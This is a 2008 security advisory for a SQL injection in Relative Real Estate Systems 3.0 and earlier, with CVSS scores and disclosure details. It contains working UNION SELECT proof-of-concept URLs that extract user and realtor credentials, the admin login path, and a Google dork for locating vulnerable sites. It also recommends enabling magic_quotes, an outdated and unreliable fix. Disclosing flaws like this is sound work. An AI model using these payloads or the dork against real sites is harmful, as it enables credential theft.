Relative Real Estate Systems <= 3.0 (listing_id) SQL Injection Vuln

2008-07-16 / 2008-07-17
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

____________________ ___ ___ ________ \_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_99$2008 ----------------------------------------------------------------------------------------- [ECHO_ADV_99$2008] Relative Real Estate Systems <= 3.0 (listing_id) Sql Injection Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : June, 24 th 2008 Location : Jakarta, Indonesia Web : http://e-rdc.org/v1/news.php?readmore=101 Critical Lvl : Medium Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Relative Real Estate Systems version : <= 3.0 Vendor : http://www.dboorn.com/estate/ Description : Elegant real estate script that allows for unlimited listings and agents with featured listings, unlimited photos, advanced search engine, user login option, user tracking, dynamic slide shows, Mls/Idx support, multiple agents with photo, mortgage calculator, schools info, C.M.A. request form, full admin panel.Requires PHP/Mysql Windows Server or any Web server with php support. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~ Input passed to the "listing_id" parameter in index.php is not properly verified before being used in an sql query. This can be exploited thru the browser to manipulate SQL queries and pull the username and password from realtors and users in plain text. Successful exploitation requires that "magic_quotes" is off. Poc/Exploit: ~~~~~~~~~ http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(id,0x3a,username,0x3a,password,0x3a,email),0,1,2,3,4,5,6,7,8,9,0,1%20from%20realtors-- http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(username,0x3a,password),0,1,2,3,4,5,6,7,8,9,0,1%20from%20users-- Admin Login at http://[URL]/[PATH]/Admin/login_index.php Dork: ~~~~ Google : "index.php?go=listings&listing" Solution: ~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn on magic_quotes in php.ini Timeline: ~~~~~~~~ - 24 - 06 - 2008 bug found - 24 - 06 - 2008 vendor contacted - 24 - 06 - 2008 advisory released --------------------------------------------------------------------------- Shoutz: ~~~~ ~ ping - my dearest wife, zautha - my little warrior ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,negative, the_hydra,neng chika, str0ke ~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank, super_temon, b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b ~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R, kuntua, stev_manado,nofry,k1tk4t,0pt1c ~ newbie_hacker@yahoogroups.com ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://www.e-rdc.org/ -------------------------------- [ EOF ] ----------------------------------

References:

http://xforce.iss.net/xforce/xfdb/43316
http://www.securityfocus.com/bid/29915
http://www.milw0rm.com/exploits/5924
http://www.frsirt.com/english/advisories/2008/1926/references
http://e-rdc.org/v1/news.php?readmore=101


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